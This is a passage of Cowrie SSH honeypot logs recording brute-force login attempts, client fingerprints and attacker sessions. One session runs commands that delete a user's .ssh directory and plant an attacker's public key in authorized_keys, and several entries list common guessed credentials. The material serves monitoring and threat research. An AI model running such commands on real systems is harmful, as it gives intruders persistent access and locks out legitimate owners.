{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:41.882368Z","src_ip":"131.161.219.137","session":"29a6c0fb00eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:42.649268Z","src_ip":"103.158.40.65","session":"d806f607d670","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:43.863083Z","src_ip":"103.158.40.65","session":"d806f607d670","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":47870,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca3d491216ab","protocol":"ssh","message":"New connection: 103.158.40.65:47870 (159.203.135.109:22) [session: ca3d491216ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:44.066297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:44.073695Z","src_ip":"103.158.40.65","session":"ca3d491216ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:44.285182Z","src_ip":"103.158.40.65","session":"ca3d491216ab","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:45.148370Z","src_ip":"103.158.40.65","session":"ca3d491216ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":40860,"dst_ip":"10.17.0.5","dst_port":22,"session":"5143f5cb0ff9","protocol":"ssh","message":"New connection: 103.125.103.201:40860 (10.17.0.5:22) [session: 5143f5cb0ff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:45.279794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:45.286224Z","src_ip":"103.125.103.201","session":"5143f5cb0ff9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:45.357664Z","src_ip":"103.158.40.65","session":"82026591e9e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:45.363669Z","src_ip":"103.158.40.65","session":"ca3d491216ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:45.532194Z","src_ip":"103.125.103.201","session":"5143f5cb0ff9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"hadoop123","message":"login attempt [ubuntu/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:46.544426Z","src_ip":"103.125.103.201","session":"5143f5cb0ff9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:47.792488Z","src_ip":"103.125.103.201","session":"5143f5cb0ff9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":42712,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bb8900c787e","protocol":"ssh","message":"New connection: 43.173.69.147:42712 (159.203.135.109:22) [session: 0bb8900c787e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:57.831462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:57.835894Z","src_ip":"43.173.69.147","session":"0bb8900c787e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:57.904823Z","src_ip":"43.173.69.147","session":"0bb8900c787e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:58.213623Z","src_ip":"43.173.69.147","session":"0bb8900c787e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:58.434103Z","src_ip":"43.173.69.147","session":"0bb8900c787e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:58.437451Z","src_ip":"43.173.69.147","session":"0bb8900c787e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:58.441364Z","src_ip":"43.173.69.147","session":"0bb8900c787e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:58.513612Z","src_ip":"43.173.69.147","session":"0bb8900c787e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:58.696213Z","src_ip":"43.173.69.147","session":"0bb8900c787e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:58.699684Z","src_ip":"43.173.69.147","session":"0bb8900c787e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:58.774199Z","src_ip":"43.173.69.147","session":"0bb8900c787e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:58.778127Z","src_ip":"43.173.69.147","session":"0bb8900c787e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":42726,"dst_ip":"159.203.135.109","dst_port":22,"session":"e881b7a2037b","protocol":"ssh","message":"New connection: 43.173.69.147:42726 (159.203.135.109:22) [session: e881b7a2037b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:58.839127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:58.846872Z","src_ip":"43.173.69.147","session":"e881b7a2037b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:58.916715Z","src_ip":"43.173.69.147","session":"e881b7a2037b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:59.219047Z","src_ip":"43.173.69.147","session":"e881b7a2037b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:00.291380Z","src_ip":"43.173.69.147","session":"e881b7a2037b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":42734,"dst_ip":"159.203.135.109","dst_port":22,"session":"df864b6efee8","protocol":"ssh","message":"New connection: 43.173.69.147:42734 (159.203.135.109:22) [session: df864b6efee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:00.354921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:00.360611Z","src_ip":"43.173.69.147","session":"df864b6efee8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:00.432892Z","src_ip":"43.173.69.147","session":"df864b6efee8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:00.733450Z","src_ip":"43.173.69.147","session":"df864b6efee8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:00.804870Z","src_ip":"43.173.69.147","session":"df864b6efee8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:00.809785Z","src_ip":"43.173.69.147","session":"0bb8900c787e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":39748,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d6068edea3f","protocol":"ssh","message":"New connection: 201.6.100.191:39748 (159.203.135.109:22) [session: 5d6068edea3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:01.116903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:01.121494Z","src_ip":"201.6.100.191","session":"5d6068edea3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:01.254619Z","src_ip":"201.6.100.191","session":"5d6068edea3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1pass","message":"login attempt [user1/user1pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:01.793763Z","src_ip":"201.6.100.191","session":"5d6068edea3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:02.921018Z","src_ip":"201.6.100.191","session":"5d6068edea3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":59676,"dst_ip":"10.17.0.5","dst_port":22,"session":"e388dd73a860","protocol":"ssh","message":"New connection: 101.36.106.162:59676 (10.17.0.5:22) [session: e388dd73a860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:17.725605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:01:17.731108Z","src_ip":"101.36.106.162","session":"e388dd73a860","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.